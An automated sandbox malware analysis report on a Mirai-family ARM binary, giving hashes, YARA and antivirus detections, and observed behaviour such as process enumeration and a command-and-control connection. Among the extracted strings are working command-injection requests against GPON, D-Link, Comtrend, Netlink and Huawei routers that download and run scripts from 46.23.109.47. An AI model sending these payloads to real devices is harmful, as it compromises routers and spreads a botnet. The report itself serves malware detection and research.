Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
Kr9mYMyujR

Overview

General Information

Sample Name:Kr9mYMyujR
Analysis ID:679624
MD5:8b9b5682e14d09f74ef586ebd9c2023a
SHA1:d843aa17a4843b19a9bb67839e0a6a565dc8c99b
SHA256:4531055787bdf40bc227b678922785a5f8e3994bf3efd2f611cc50d408a0f8dc
Tags:32armelfmirai
Infos:

Detection

Mirai
Score:64
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Yara detected Mirai
Multi AV Scanner detection for submitted file
Yara signature match
Sample contains strings that are potentially command strings
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)
Enumerates processes within the "proc" file system
Sample listens on a socket
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.
Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.
Joe Sandbox Version:35.0.0 Citrine
Analysis ID:679624
Start date and time: 06/08/202207:00:302022-08-06 07:00:30 +02:00
Joe Sandbox Product:CloudBasic
Overall analysis duration:0h 5m 17s
Hypervisor based Inspection enabled:false
Report type:full
Sample file name:Kr9mYMyujR
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Detection:MAL
Classification:mal64.troj.lin@0/0@0/0
  • VT rate limit hit for: http://46.23.109.47/Cloud/Cloud.mpsl;chmod
Command:/tmp/Kr9mYMyujR
PID:6228
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:
Connected To CNC
Standard Error:
  • system is lnxubuntu20
  • cleanup
SourceRuleDescriptionAuthorStrings
Kr9mYMyujRSUSP_XORed_MozillaDetects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.Florian Roth
  • 0x1be30:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x1bea0:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x1bf10:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x1bf80:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x1bff0:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x1c260:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x1c2b4:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x1c308:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x1c35c:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x1c3b0:$xo1: oMXKNNC\x0D\x17\x0C\x12
Kr9mYMyujRJoeSecurity_Mirai_8Yara detected MiraiJoe Security
    SourceRuleDescriptionAuthorStrings
    6228.1.00007f925803d000.00007f925803e000.rw-.sdmpSUSP_XORed_MozillaDetects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.Florian Roth
    • 0x584:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x5f8:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x66c:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x6e0:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x754:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x9d4:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xa2c:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xa84:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xadc:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xb34:$xo1: oMXKNNC\x0D\x17\x0C\x12
    6228.1.00007f9258017000.00007f9258034000.r-x.sdmpSUSP_XORed_MozillaDetects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.Florian Roth
    • 0x1be30:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1bea0:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1bf10:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1bf80:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1bff0:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1c260:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1c2b4:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1c308:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1c35c:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1c3b0:$xo1: oMXKNNC\x0D\x17\x0C\x12
    6228.1.00007f9258017000.00007f9258034000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      6231.1.00007f9258017000.00007f9258034000.r-x.sdmpSUSP_XORed_MozillaDetects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.Florian Roth
      • 0x1be30:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x1bea0:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x1bf10:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x1bf80:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x1bff0:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x1c260:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x1c2b4:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x1c308:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x1c35c:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x1c3b0:$xo1: oMXKNNC\x0D\x17\x0C\x12
      6231.1.00007f9258017000.00007f9258034000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
        Click to see the 1 entries
        No Snort rule has matched

        Click to jump to signature section

        Show All Signature Results

        AV Detection

        barindex
        Source: Kr9mYMyujRAvira: detected
        Source: Kr9mYMyujRVirustotal: Detection: 62%Perma Link
        Source: Kr9mYMyujRMetadefender: Detection: 34%Perma Link
        Source: Kr9mYMyujRReversingLabs: Detection: 69%
        Source: /tmp/Kr9mYMyujR (PID: 6228)Socket: 127.0.0.1::44455Jump to behavior
        Source: Kr9mYMyujRString found in binary or memory: http://0.0.0.0/Cloud/Cloud.x86
        Source: Kr9mYMyujRString found in binary or memory: http://46.23.109.47/Cloud/Cloud.mips;
        Source: Kr9mYMyujRString found in binary or memory: http://46.23.109.47/Cloud/Cloud.mpsl;chmod
        Source: Kr9mYMyujRString found in binary or memory: http://46.23.109.47/Cloud/Cloud.x86
        Source: Kr9mYMyujRString found in binary or memory: http://46.23.109.47/Cloud/Comtrend.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=1039230114
        Source: Kr9mYMyujRString found in binary or memory: http://46.23.109.47/Cloud/Dlink.sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$
        Source: Kr9mYMyujRString found in binary or memory: http://46.23.109.47/Cloud/Gpon.sh
        Source: Kr9mYMyujRString found in binary or memory: http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VI
        Source: Kr9mYMyujRString found in binary or memory: http://purenetworks.com/HNAP1/
        Source: Kr9mYMyujRString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
        Source: Kr9mYMyujRString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
        Source: Kr9mYMyujR, type: SAMPLEMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
        Source: 6228.1.00007f925803d000.00007f925803e000.rw-.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
        Source: 6228.1.00007f9258017000.00007f9258034000.r-x.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
        Source: 6231.1.00007f9258017000.00007f9258034000.r-x.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
        Source: 6231.1.00007f925803d000.00007f925803e000.rw-.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
        Source: Initial samplePotential command found: GET /ping.cgi?pingIpAddress=google.fr;wget%20http://46.23.109.47/Cloud/Comtrend.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=1039230114'$ HTTP/1.1
        Source: Initial samplePotential command found: GET /login.cgi?cli=aa%20aa%27;wget%20http://46.23.109.47/Cloud/Dlink.sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ HTTP/1.1
        Source: Initial samplePotential command found: GET /shell?cd+/tmp;rm+-rf+*;wget+46.23.109.47/Cloud/Jaws.sh;chmod+777+*;sh+Jaws.sh HTTP/1.1
        Source: Initial samplePotential command found: GET /boaform/admin/formPing?target_addr=;wget%20http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1
        Source: Initial samplePotential command found: GET /index.php?s=/index/hink
        Source: ELF static info symbol of initial sample.symtab present: no
        Source: Initial sampleString containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://46.23.109.47/Cloud/Gpon.sh+-O+vaicalon;chmod+777+*;sh+vaicalon`&ipv=0
        Source: Initial sampleString containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://46.23.109.47/Cloud/Gpon.sh+-O+anngu;chmod+777+*;sh+anngu`&ipv=0
        Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://46.23.109.47/Cloud/Cloud.mips; chmod 777 Cloud.mips; ./Cloud.mips Cloud.Huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
        Source: Initial sampleString containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://46.23.109.47/Cloud/Gpon.sh+-O+vaicalon;chmod+777+*;sh+vaicalon`&ipv=0POST /GponForm/diag_Form?images/ HTTP/1.1
        Source: Initial sampleString containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://46.23.109.47/Cloud/Gpon.sh+-O+anngu;chmod+777+*;sh+anngu`&ipv=0POST /HNAP1/ HTTP/1.0
        Source: classification engineClassification label: mal64.troj.lin@0/0@0/0
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/6232/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/6236/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/1582/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/2033/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/2275/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/3088/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/6190/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/1612/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/1579/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/1699/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/1335/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/1698/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/2028/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/1334/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/1576/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/2302/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/3236/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/2025/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/2146/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/910/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/912/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/517/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/759/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/2307/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/918/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/6240/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/6243/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/6242/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/6247/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/6246/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/1594/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/2285/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/2281/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/1349/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/1623/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/761/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/1622/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/884/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/1983/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/2038/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/1344/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/1465/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/1586/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/1463/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/2156/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/800/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/801/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/6237/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/1629/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/1627/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/1900/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/6252/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/6251/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/6254/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/6255/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/3021/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/491/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/2294/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/2050/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/6250/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/1877/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/772/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/1633/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/1599/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/1632/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/774/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/1477/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/654/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/896/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/1476/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/1872/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/2048/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/655/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/1475/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/2289/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/656/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/777/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/657/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/4466/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/658/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/4467/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/4468/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/4469/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/419/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/936/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/1639/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/1638/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/2208/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/2180/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/1809/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/1494/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/1890/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/2063/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/2062/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/6261/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/6260/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/1888/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/1886/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/420/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/1489/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/785/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/1642/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/788/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/667/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6230)File opened: /proc/789/exeJump to behavior
        Source: /tmp/Kr9mYMyujR (PID: 6228)Queries kernel information via 'uname': Jump to behavior
        Source: Kr9mYMyujR, 6228.1.000056150d74f000.000056150d87d000.rw-.sdmp, Kr9mYMyujR, 6231.1.000056150d74f000.000056150d87d000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
        Source: Kr9mYMyujR, 6228.1.000056150d74f000.000056150d87d000.rw-.sdmp, Kr9mYMyujR, 6231.1.000056150d74f000.000056150d87d000.rw-.sdmpBinary or memory string: V!/etc/qemu-binfmt/arm
        Source: Kr9mYMyujR, 6228.1.00007ffe0d657000.00007ffe0d678000.rw-.sdmp, Kr9mYMyujR, 6231.1.00007ffe0d657000.00007ffe0d678000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
        Source: Kr9mYMyujR, 6228.1.00007ffe0d657000.00007ffe0d678000.rw-.sdmp, Kr9mYMyujR, 6231.1.00007ffe0d657000.00007ffe0d678000.rw-.sdmpBinary or memory string: 4x86_64/usr/bin/qemu-arm/tmp/Kr9mYMyujRSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/Kr9mYMyujR

        Stealing of Sensitive Information

        barindex
        Source: Yara matchFile source: Kr9mYMyujR, type: SAMPLE
        Source: Yara matchFile source: 6228.1.00007f9258017000.00007f9258034000.r-x.sdmp, type: MEMORY
        Source: Yara matchFile source: 6231.1.00007f9258017000.00007f9258034000.r-x.sdmp, type: MEMORY

        Remote Access Functionality

        barindex
        Source: Yara matchFile source: Kr9mYMyujR, type: SAMPLE
        Source: Yara matchFile source: 6228.1.00007f9258017000.00007f9258034000.r-x.sdmp, type: MEMORY
        Source: Yara matchFile source: 6231.1.00007f9258017000.00007f9258034000.r-x.sdmp, type: MEMORY
        Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
        Valid Accounts1
        Command and Scripting Interpreter
        Path InterceptionPath InterceptionDirect Volume Access1
        OS Credential Dumping
        11
        Security Software Discovery
        Remote ServicesData from Local SystemExfiltration Over Other Network MediumData ObfuscationEavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
        No configs have been found
        Hide Legend

        Legend:

        • Process
        • Signature
        • Created File
        • DNS/IP Info
        • Is Dropped
        • Number of created Files
        • Is malicious
        • Internet
        behaviorgraph top1 signatures2 2 Behavior Graph ID: 679624 Sample: Kr9mYMyujR Startdate: 06/08/2022 Architecture: LINUX Score: 64 23 Antivirus / Scanner detection for submitted sample 2->23 25 Multi AV Scanner detection for submitted file 2->25 27 Yara detected Mirai 2->27 7 Kr9mYMyujR 2->7         started        process3 process4 9 Kr9mYMyujR 7->9         started        11 Kr9mYMyujR 7->11         started        13 Kr9mYMyujR 7->13         started        process5 15 Kr9mYMyujR 9->15         started        17 Kr9mYMyujR 9->17         started        19 Kr9mYMyujR 9->19         started        21 11 other processes 9->21
        SourceDetectionScannerLabelLink
        Kr9mYMyujR62%VirustotalBrowse
        Kr9mYMyujR34%MetadefenderBrowse
        Kr9mYMyujR69%ReversingLabsLinux.Trojan.Mirai
        Kr9mYMyujR100%AviraLINUX/Mirai.bonb
        No Antivirus matches
        No Antivirus matches
        SourceDetectionScannerLabelLink
        http://46.23.109.47/Cloud/Gpon.sh19%VirustotalBrowse
        http://46.23.109.47/Cloud/Gpon.sh100%Avira URL Cloudmalware
        http://46.23.109.47/Cloud/Cloud.x8618%VirustotalBrowse
        http://46.23.109.47/Cloud/Cloud.x86100%Avira URL Cloudmalware
        http://46.23.109.47/Cloud/Comtrend.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=1039230114100%Avira URL Cloudmalware
        http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VI100%Avira URL Cloudmalware
        http://46.23.109.47/Cloud/Cloud.mpsl;chmod100%Avira URL Cloudmalware
        http://46.23.109.47/Cloud/Cloud.mips;100%Avira URL Cloudmalware
        http://purenetworks.com/HNAP1/0%URL Reputationsafe
        http://0.0.0.0/Cloud/Cloud.x860%Avira URL Cloudsafe
        http://46.23.109.47/Cloud/Dlink.sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$100%Avira URL Cloudmalware
        No contacted domains info
        NameSourceMaliciousAntivirus DetectionReputation
        http://46.23.109.47/Cloud/Gpon.shKr9mYMyujRtrue
        • 19%, Virustotal, Browse
        • Avira URL Cloud: malware
        unknown
        http://46.23.109.47/Cloud/Cloud.x86Kr9mYMyujRtrue
        • 18%, Virustotal, Browse
        • Avira URL Cloud: malware
        unknown
        http://46.23.109.47/Cloud/Comtrend.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=1039230114Kr9mYMyujRtrue
        • Avira URL Cloud: malware
        unknown
        http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VIKr9mYMyujRtrue
        • Avira URL Cloud: malware
        unknown
        http://schemas.xmlsoap.org/soap/encoding/Kr9mYMyujRfalse
          high
          http://46.23.109.47/Cloud/Cloud.mpsl;chmodKr9mYMyujRtrue
          • Avira URL Cloud: malware
          unknown
          http://46.23.109.47/Cloud/Cloud.mips;Kr9mYMyujRtrue
          • Avira URL Cloud: malware
          unknown
          http://purenetworks.com/HNAP1/Kr9mYMyujRfalse
          • URL Reputation: safe
          unknown
          http://0.0.0.0/Cloud/Cloud.x86Kr9mYMyujRfalse
          • Avira URL Cloud: safe
          unknown
          http://46.23.109.47/Cloud/Dlink.sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$Kr9mYMyujRtrue
          • Avira URL Cloud: malware
          unknown
          http://schemas.xmlsoap.org/soap/envelope/Kr9mYMyujRfalse
            high
            No contacted IP infos
            No context
            No context
            No context
            No context
            No context
            No created / dropped files found
            File type:ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
            Entropy (8bit):6.254459794987672
            TrID:
            • ELF Executable and Linkable format (generic) (4004/1) 100.00%
            File name:Kr9mYMyujR
            File size:119920
            MD5:8b9b5682e14d09f74ef586ebd9c2023a
            SHA1:d843aa17a4843b19a9bb67839e0a6a565dc8c99b
            SHA256:4531055787bdf40bc227b678922785a5f8e3994bf3efd2f611cc50d408a0f8dc
            SHA512:c3d6b447c9d91c0abe8a03396f9a104dd226ebfc759db2fd8116dd79d951e2d7860d6c6e3e2e9007acb968bc1dd630e4057e99cece3839df101d8efc5e07ee33
            SSDEEP:3072:aiNnGlqUjjaP1AKl0Py/tYaGKJ5NctVRa:BnGlq/0st3
            TLSH:E8C33B86AC91D925CBC223B7FA2F108D331593DCD2EA72439D281F6836CB55E1E37646
            File Content Preview:.ELF...a..........(.........4...........4. ...(.....................................................................Q.td..................................-...L."....g..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

            ELF header

            Class:ELF32
